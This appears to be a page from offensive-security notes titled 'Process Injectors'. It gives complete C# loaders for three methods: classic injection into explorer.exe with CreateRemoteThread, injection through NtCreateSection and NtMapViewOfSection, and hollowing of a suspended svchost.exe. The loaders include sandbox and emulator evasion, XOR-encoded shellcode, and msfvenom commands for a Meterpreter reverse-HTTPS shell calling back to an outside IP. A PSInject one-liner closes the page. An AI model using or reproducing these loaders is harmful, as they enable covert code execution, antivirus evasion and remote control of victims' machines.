Process Injectors
Inject shellcode into remote process's virtual address space

Classic Process Injection

C# DLL via Win32 API

Using standard Win32 API trio:
ProcessInjector.cs
1
using System;
2
using System.Diagnostics;
3
using System.Runtime.InteropServices;
4
​
5
namespace ProcessInjector
6
{
7
public class Program
8
{
9
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
10
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
11
​
12
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
13
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
14
​
15
[DllImport("kernel32.dll")]
16
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
17
​
18
[DllImport("kernel32.dll")]
19
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
20
​
21
[DllImport("kernel32.dll")]
22
static extern void Sleep(uint dwMilliseconds);
23
​
24
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
25
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
26
​
27
[DllImport("kernel32.dll")]
28
static extern IntPtr GetCurrentProcess();
29
​
30
public static void Run()
31
{
32
// Check if we're in a sandbox by calling a rare-emulated API
33
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) == IntPtr.Zero)
34
{
35
return;
36
}
37
​
38
// Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
39
var rand = new Random();
40
uint dream = (uint)rand.Next(10000, 20000);
41
double delta = dream / 1000 - 0.5;
42
DateTime before = DateTime.Now;
43
Sleep(dream);
44
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
45
{
46
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
47
return;
48
}
49
​
50
Process[] pList = Process.GetProcessesByName("explorer");
51
if (pList.Length == 0)
52
{
53
// Console.WriteLine("[-] No such process!");
54
System.Environment.Exit(1);
55
}
56
int processId = pList[0].Id;
57
// 0x001F0FFF = PROCESS_ALL_ACCESS
58
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
59
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
60
​
61
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a
62
byte[] buf = new byte[???] {
63
0x31,0x33,...,0x33,0x37 };
64
​
65
// XOR-decrypt the shellcode
66
for (int i = 0; i < buf.Length; i++)
67
{
68
buf[i] = (byte)(buf[i] ^ (byte)'a');
69
}
70
​
71
IntPtr outSize;
72
WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
73
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
74
}
75
}
76
}
Copied!
When selecting architecture during compilation, remember that there're 4 potential ways to perform the migration:
  1. 1.
    64-bit > 64-bit: succeeds.
  2. 2.
    64-bit > 32-bit: succeeds.
  3. 3.
    32-bit > 32-bit: succeeds.
  4. 4.
    32-bit > 64-bit: fails due to CreateRemoteThread does not natively support it.

C# Executable via Native API

Using Native API quadro:
  • NtCreateSection
  • NtMapViewOfSection
  • RtlCreateUserThread
  • NtUnmapViewOfSection
NtProcessInjector.cs
1
using System;
2
using System.Linq;
3
using System.Diagnostics;
4
using System.Runtime.InteropServices;
5
​
6
namespace NtProcessInjector
7
{
8
public class Program
9
{
10
public const uint PROCESS_ALL_ACCESS = 0x001F0FFF;
11
public const uint SECTION_MAP_READ = 0x0004;
12
public const uint SECTION_MAP_WRITE = 0x0002;
13
public const uint SECTION_MAP_EXECUTE = 0x0008;
14
public const uint PAGE_READ_WRITE = 0x04;
15
public const uint PAGE_READ_EXECUTE = 0x20;
16
public const uint PAGE_EXECUTE_READWRITE = 0x40;
17
public const uint SEC_COMMIT = 0x8000000;
18
​
19
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
20
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
21
​
22
[DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
23
static extern UInt32 NtCreateSection(ref IntPtr SectionHandle, UInt32 DesiredAccess, IntPtr ObjectAttributes, ref UInt32 MaximumSize, UInt32 SectionPageProtection, UInt32 AllocationAttributes, IntPtr FileHandle);
24
​
25
[DllImport("ntdll.dll", SetLastError = true)]
26
static extern uint NtMapViewOfSection(IntPtr SectionHandle, IntPtr ProcessHandle, ref IntPtr BaseAddress, UIntPtr ZeroBits, UIntPtr CommitSize, out ulong SectionOffset, out uint ViewSize, uint InheritDisposition, uint AllocationType, uint Win32Protect);
27
​
28
[DllImport("ntdll.dll", SetLastError = true)]
29
static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
30
​
31
[DllImport("ntdll.dll", SetLastError = true)]
32
static extern IntPtr RtlCreateUserThread(IntPtr processHandle, IntPtr threadSecurity, bool createSuspended, Int32 stackZeroBits, IntPtr stackReserved, IntPtr stackCommit, IntPtr startAddress, IntPtr parameter, ref IntPtr threadHandle, IntPtr clientId);
33
​
34
[DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
35
static extern int NtClose(IntPtr hObject);
36
​
37
[DllImport("kernel32.dll")]
38
static extern void Sleep(uint dwMilliseconds);
39
​
40
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
41
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
42
​
43
[DllImport("kernel32.dll")]
44
static extern IntPtr GetCurrentProcess();
45
​
46
// BEGIN DEBUG (imports)
47
[DllImport("kernel32.dll", SetLastError = true)]
48
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
49
​
50
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
51
static extern int memcmp(byte[] b1, byte[] b2, UIntPtr count);
52
​
53
static bool CompareByteArray(byte[] b1, byte[] b2)
54
{
55
return b1.Length == b2.Length && memcmp(b1, b2, (UIntPtr)b1.Length) == 0;
56
}
57
// END DEBUG
58
​
59
static void Main(string[] args)
60
{
61
// Check if we're in a sandbox by calling a rare-emulated API
62
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) == IntPtr.Zero)
63
{
64
return;
65
}
66
​
67
// Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
68
var rand = new Random();
69
uint dream = (uint)rand.Next(10000, 20000);
70
double delta = dream / 1000 - 0.5;
71
DateTime before = DateTime.Now;
72
Sleep(dream);
73
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
74
{
75
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
76
return;
77
}
78
​
79
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key a
80
byte[] buf = new byte[???] {
81
0x31,0x33,...,0x33,0x37 };
82
​
83
// XOR-decrypt the shellcode
84
for (int i = 0; i < buf.Length; i++)
85
{
86
buf[i] = (byte)(buf[i] ^ (byte)'a');
87
}
88
​
89
int bufLength = buf.Length;
90
UInt32 uBufLength = (UInt32)bufLength;
91
​
92
// Get handle on a local process
93
IntPtr hLocalProcess = Process.GetCurrentProcess().Handle;
94
​
95
// Get handle on a remote process (by name)
96
string processName = args[0];
97
Process[] pList = Process.GetProcessesByName(processName);
98
if (pList.Length == 0)
99
{
100
Console.WriteLine("[-] No such process");
101
return;
102
}
103
int processId = pList.First().Id;
104
IntPtr hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, false, processId);
105
if (hRemoteProcess == IntPtr.Zero)
106
{
107
Console.WriteLine("[-] Failed to open remote process");
108
return;
109
}
110
​
111
// Create RWX memory section for the shellcode
112
IntPtr hSection = new IntPtr();
113
if (NtCreateSection(ref hSection, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, IntPtr.Zero, ref uBufLength, PAGE_EXECUTE_READWRITE, SEC_COMMIT, IntPtr.Zero) != 0)
114
{
115
Console.WriteLine("[-] Falied to create a section for the shellcode");
116
return;
117
}
118
​
119
// Map the view of created section into the LOCAL process's virtual address space (as R-W)
120
IntPtr baseAddressL = new IntPtr();
121
ulong sectionOffsetL = new ulong();
122
if (NtMapViewOfSection(hSection, hLocalProcess, ref baseAddressL, UIntPtr.Zero, UIntPtr.Zero, out sectionOffsetL, out uBufLength, 2, 0, PAGE_READ_WRITE) != 0)
123
{
124
Console.WriteLine("[-] Falied to map the view into local process's space");
125
return;
126
}
127
128
// Map the view of (the same) created section into the REMOTE process's virtual address space (as R-E)
129
IntPtr baseAddressR = new IntPtr();
130
ulong sectionOffsetR = new ulong();
131
if (NtMapViewOfSection(hSection, hRemoteProcess, ref baseAddressR, UIntPtr.Zero, UIntPtr.Zero, out sectionOffsetR, out uBufLength, 2, 0, PAGE_READ_EXECUTE) != 0)
132
{
133
Console.WriteLine("[-] Falied to map the view into remote process's space");
134
return;
135
}
136
​
137
// Copy the shellcode into the locally mapped view which will be reflected on the remotely mapped view
138
Marshal.Copy(buf, 0, baseAddressL, bufLength);
139
​
140
// BEGIN DEBUG (check if the shellcode was copied correctly)
141
byte[] remoteMemory = new byte[bufLength];
142
IntPtr bytesRead = new IntPtr();
143
ReadProcessMemory(hRemoteProcess, baseAddressR, remoteMemory, remoteMemory.Length, out bytesRead);
144
if (!CompareByteArray(buf, remoteMemory))
145
{
146
Console.WriteLine("[-] DEBUG: Shellcode bytes read from remotely mapped view do not match with local buf");
147
return;
148
}
149
// END DEBUG
150
​
151
// Execute the shellcode in a remote thread (also can be done with CreateRemoteThread)
152
//CreateRemoteThread(hRemoteProcess, IntPtr.Zero, 0, baseAddressR, IntPtr.Zero, 0, IntPtr.Zero)
153
IntPtr threadHandle = new IntPtr();
154
if (RtlCreateUserThread(hRemoteProcess, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, baseAddressR, IntPtr.Zero, ref threadHandle, IntPtr.Zero) != IntPtr.Zero)
155
{
156
Console.WriteLine("[-] Failed to create a remote thread");
157
return;
158
}
159
​
160
Console.WriteLine(quot;[+] Successfully injected shellcode into remote process ({processName}, {processId})");
161
​
162
// Clean up
163
NtUnmapViewOfSection(hLocalProcess, baseAddressL);
164
NtClose(hSection);
165
}
166
}
167
}
Copied!

Process Hollowing

Hollow with Shellcode

1. Create the target process (e.g., svchost.exe) in a suspended state.
2. Query created process to extract its base address pointer from PEB (Process Environment Block).
3. Read 8 bytes of memory (for 64-bit architecture) pointed by the image base address pointer in order to get the actual value of the image base address.
4. Read 0x200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address.
5. Write the shellcode to the EntryPoint address and resume thread execution.
ProcessHollower.cs
1
using System;
2
using System.Runtime.InteropServices;
3
​
4
namespace ProcessHollower
5
{
6
class Program
7
{
8
public const uint CREATE_SUSPENDED = 0x4;
9
public const int ProcessBasicInformation = 0;
10
​
11
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
12
struct STARTUPINFO
13
{
14
public Int32 cb;
15
public IntPtr lpReserved;
16
public IntPtr lpDesktop;
17
public IntPtr lpTitle;
18
public Int32 dwX;
19
public Int32 dwY;
20
public Int32 dwXSize;
21
public Int32 dwYSize;
22
public Int32 dwXCountChars;
23
public Int32 dwYCountChars;
24
public Int32 dwFillAttribute;
25
public Int32 dwFlags;
26
public Int16 wShowWindow;
27
public Int16 cbReserved2;
28
public IntPtr lpReserved2;
29
public IntPtr hStdInput;
30
public IntPtr hStdOutput;
31
public IntPtr hStdError;
32
}
33
​
34
[StructLayout(LayoutKind.Sequential)]
35
internal struct PROCESS_INFORMATION
36
{
37
public IntPtr hProcess;
38
public IntPtr hThread;
39
public int dwProcessId;
40
public int dwThreadId;
41
}
42
​
43
[StructLayout(LayoutKind.Sequential)]
44
internal struct PROCESS_BASIC_INFORMATION
45
{
46
public IntPtr Reserved1;
47
public IntPtr PebAddress;
48
public IntPtr Reserved2;
49
public IntPtr Reserved3;
50
public IntPtr UniquePid;
51
public IntPtr MoreReserved;
52
}
53
​
54
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
55
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
56
​
57
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
58
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, uint ProcInfoLen, ref uint retlen);
59
​
60
[DllImport("kernel32.dll", SetLastError = true)]
61
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);
62
​
63
[DllImport("kernel32.dll")]
64
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
65
​
66
[DllImport("kernel32.dll", SetLastError = true)]
67
private static extern uint ResumeThread(IntPtr hThread);
68
​
69
[DllImport("kernel32.dll")]
70
static extern void Sleep(uint dwMilliseconds);
71
​
72
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
73
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
74
​
75
[DllImport("kernel32.dll")]
76
static extern IntPtr GetCurrentProcess();
77
​
78
static void Main(string[] args)
79
{
80
// Check if we're in a sandbox by calling a rare-emulated API
81
if (VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0) == IntPtr.Zero)
82
{
83
return;
84
}
85
​
86
// Sleep to evade in-memory scan + check if the emulator did not fast-forward through the sleep instruction
87
var rand = new Random();
88
uint dream = (uint)rand.Next(10000, 20000);
89
double delta = dream / 1000 - 0.5;
90
DateTime before = DateTime.Now;
91
Sleep(dream);
92
if (DateTime.Now.Subtract(before).TotalSeconds < delta)
93
{
94
Console.WriteLine("Charles, get the rifle out. We're being fucked.");
95
return;
96
}
97
​
98
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.13.37 LPORT=443 -f csharp --encrypt xor --encrypt-key a
99
byte[] buf = new byte[???] {
100
0x31,0x33,...,0x33,0x37 };
101
​
102
// XOR-decrypt the shellcode
103
for (int i = 0; i < buf.Length; i++)
104
{
105
buf[i] = (byte)(buf[i] ^ (byte)'a');
106
}
107
​
108
// Create the target process (e.g., svchost.exe) in a suspended state
109
STARTUPINFO si = new STARTUPINFO();
110
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
111
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
112
​
113
// Query created process to extract its base address pointer from PEB (Process Environment Block)
114
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
115
uint tmp = 0;
116
IntPtr hProcess = pi.hProcess;
117
ZwQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
118
// Pointer to the base address of the EXE image: BASE_ADDR_PTR = PEB_ADDR + 0x10
119
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
120
​
121
// Read 8 bytes of memory (IntPtr.Size is 8 bytes for x64) pointed by the image base address pointer (ptrImageBaseAddress) in order to get the actual value of the image base address
122
byte[] baseAddressBytes = new byte[IntPtr.Size];
123
IntPtr nRead = IntPtr.Zero;
124
ReadProcessMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
125
// We're got bytes as a result of memory read, then converted them to Int64 and casted to IntPtr
126
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
127
​
128
// Read 200 bytes of the loaded EXE image and parse PE structure to get the EntryPoint address
129
byte[] data = new byte[0x200];
130
ReadProcessMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
131
// "e_lfanew" field (4 bytes, UInt32; contains the offset for the PE header): e_lfanew = BASE_ADDR + 0x3C
132
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
133
// EntryPoint RVA (Relative Virtual Address) offset: ENTRYPOINT_RVA_OFFSET = e_lfanew + 0x28
134
uint entrypointRvaOffset = e_lfanew + 0x28;
135
// EntryPoint RVA (4 bytes, UInt32; contains the offset for the executable EntryPoint address): ENTRYPOINT_RVA = BASE_ADDR + ENTRYPOINT_RVA_OFFSET
136
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
137
// Absolute address of the executable EntryPoint: ENTRYPOINT_ADDR = BASE_ADDR + ENTRYPOINT_RVA
138
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
139
​
140
// Write the shellcode to the EntryPoint address and resume thread execution
141
WriteProcessMemory(hProcess, entrypointAddress, buf, buf.Length, out nRead);
142
ResumeThread(pi.hThread);
143
}
144
}
145
}
Copied!

Hollow with EXE

Tools

PSInject

1
PS > Invoke-PSInject -ProcId <PID> -PoshCode <BASE64_CMD>
Copied!
Last modified 30d ago